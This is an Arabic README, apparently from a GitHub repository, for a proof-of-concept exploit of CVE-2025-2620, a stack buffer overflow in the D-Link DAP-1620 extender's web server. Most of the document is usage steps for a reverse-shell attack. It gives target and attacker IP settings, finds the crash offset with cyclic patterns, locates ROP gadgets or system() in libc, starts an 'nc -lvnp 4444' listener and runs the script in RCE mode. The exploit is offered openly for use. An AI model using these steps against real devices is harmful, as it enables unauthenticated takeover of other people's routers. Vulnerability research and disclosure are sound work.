استغلال CVE-2025-2620 (إثبات المفهوم)

نظرة عامة

يحتوي هذا المستودع على استغلال متقدم (PoC) لثغرة CVE-2025-2620، وهي ثغرة حرجة من نوع تجاوز سعة المخزن المؤقت القائم على المكدس تم اكتشافها في جهاز التوجيه D-Link DAP-1620 الذي يعمل بإصدار البرنامج الثابت 1.03. تسمح هذه الثغرة للمهاجمين عن بُعد بدون مصادقة بتعطيل خادم الويب الخاص بالموجه (رفض الخدمة، DoS) وربما تنفيذ كود تعسفي (تنفيذ كود عن بُعد، RCE).

الغرض من هذا المشروع هو إظهار مهارات تطوير الاستغلال.

تفاصيل الثغرة

وصف CVE

تؤثر CVE-2025-2620 على وظيفة mod_graph_auth_uri_handler في جهاز التوجيه D-Link DAP-1620، وتحديدًا داخل نقطة النهاية /storage. سبب الثغرة هو عدم كفاية فحص الحدود، مما يسمح للمهاجم بإرسال إدخال كبير يتجاوز حجم المخزن المؤقت المخصص، مما يؤدي إلى تجاوز سعة المخزن المؤقت القائم على المكدس.

التأثير

• رفض الخدمة (DoS): تعطيل خادم HTTP الخاص بالموجه، مما يجعله غير مستجيب حتى إعادة التشغيل.
• تنفيذ كود عن بُعد (RCE): يمكن للمهاجمين استبدال عنوان الإرجاع وتنفيذ كود تعسفي على معمارية MIPS الخاصة بالموجه.
• لا يتطلب مصادقة: يمكن استغلال الثغرة عن بُعد دون بيانات اعتماد، مما يزيد من خطورتها.

التحليل الفني

تقوم الدالة المعرضة للخطر بمعالجة معلمة مصادقة (auth) من طلبات HTTP:

void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process authentication...
}

عندما يرسل المهاجم حمولة ضخمة (مثل 1024+ بايت)، فإنه يكتب فوق الذاكرة المجاورة، بما في ذلك عنوان إرجاع الدالة، مما قد يؤدي إلى تنفيذ كود.

درجة CVSS v3.1: 9.8 (حرجة)

الأجهزة المتأثرة

جهاز D-Link DAP-1620 هو موسّع نطاق Wi-Fi بالمواصفات التالية:

• المعالج (CPU): Realtek RTL8197F (MIPS 24Kc, ~600 MHz)
• الذاكرة العشوائية (RAM): 64 MB
• الذاكرة الوميضية (Flash): 16 MB
• Wi-Fi: ثنائي النطاق 802.11ac
• البرنامج الثابت: 1.03 (مؤكد أنه معرض للخطر)

أجهزة D-Link الأخرى من أجهزة التوجيه/الموسّعات ذات البرامج الثابتة المماثلة قد تتأثر أيضًا.

الجدول الزمني للإفصاح

• 22 مارس 2025 – نُشرت CVE-2025-2620 في NVD/MITRE.
• 22 مارس 2025 – تم تطوير واختبار هذا الاستغلال (PoC).
• 22 مارس 2025 – لا يوجد تصحيح رسمي من D-Link حتى هذا التاريخ.

تفاصيل استغلال PoC

الميزات

PoC مدمج – يتضمن اختبار تجاوز المخزن المؤقت واستغلال RCE معًا.
اختبار تجاوز سعة المخزن المؤقت القائم على المكدس – يحدد أجهزة التوجيه المعرضة للخطر.
استغلال كامل لتنفيذ كود عن بُعد (RCE) – يفتح شل عكسي.
حجم حمولة وعنوان إرجاع قابلان للتكوين – قابلان للتكيف مع نماذج مختلفة من أجهزة التوجيه.
تصحيح محسّن – يسجل إزاحات الانهيار لتحسين معاملات الاستغلال.

التثبيت والاستخدام

الخطوة 1: استنساخ المستودع

git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

الخطوة 2: تثبيت التبعيات

تأكد من تثبيت Python3 و pwntools:

pip install pwntools

الخطوة 3: تكوين الاستغلال

عدّل ملف CVE-2025-2620_poc.py:

تعيين عنوان IP الخاص بالموجه:

TARGET_IP = "192.168.0.1"  # change to match your router

تعيين عنوان IP الخاص بجهاز الهجوم:

ATTACKER_IP = "192.168.0.100"  # change to your local IP
ATTACKER_PORT = 4444  # change if needed

اضبط حجم المخزن المؤقت إذا لزم الأمر:

BUFFER_SIZE = 8000  # Increase if the router does not crash

ابحث عن إزاحة EIP وحدد عنوان الإرجاع:

الخطوة 1: إرسال نمط دوري

عدّل الاستغلال لتوليد نمط فريد وإرساله:

MODE = "overflow"  # Set to "overflow" to find the offset

شغّل السكربت:

python3 CVE-2025-2620_poc.py

الخطوة 2: تحقق من عنوان الانهيار

بعد تعطيل الموجه، تحقق من عنوان خطأ التجزئة (EIP على x86 أو RA على MIPS) من:

• سجلات الموجه
• المصحح (gdb)
• dmesg | grep 'segfault'

ابحث عن عنوان مثل 0x61616161 (مما يعني أن جزءًا من النمط الدوري كتب فوق مؤشر الإرجاع).

الخطوة 3: ابحث عن الإزاحة

استخدم cyclic_find لتحديد الإزاحة الدقيقة:

from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Replace with the crash address

يعطيك هذا قيمة OFFSET الدقيقة. حدّث الاستغلال:

OFFSET = <FOUND OFFSET>  # Replace with the actual number

الخطوة 4: ابحث عن عنوان إرجاع مناسب (RET_ADDR)

• الخيار 1: ابحث عن أداة JMP أو CALL

  root@kitploit:~

  ROPgadget --binary vulnerable_binary | grep "jmp"
  

  اختر عنوانًا يقفز إلى سجل (مثل jmp $sp أو jmp $ra).

• الخيار 2: استخدم عنوان ret2libc ابحث عن عنوان system() في libc:

  root@kitploit:~

  objdump -D /lib/libc.so.6 | grep "system"
  

  ثم استخدمه كـ RET_ADDR:

  root@kitploit:~

  RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Replace with actual address
  

الخطوة 4: شغّل مستمعًا

nc -lvnp 4444

الخطوة 5: شغّل الاستغلال

python3 CVE-2025-2620_poc.py --mode rce

تم التطوير بـ ❤️ بواسطة Otsmane Ahmed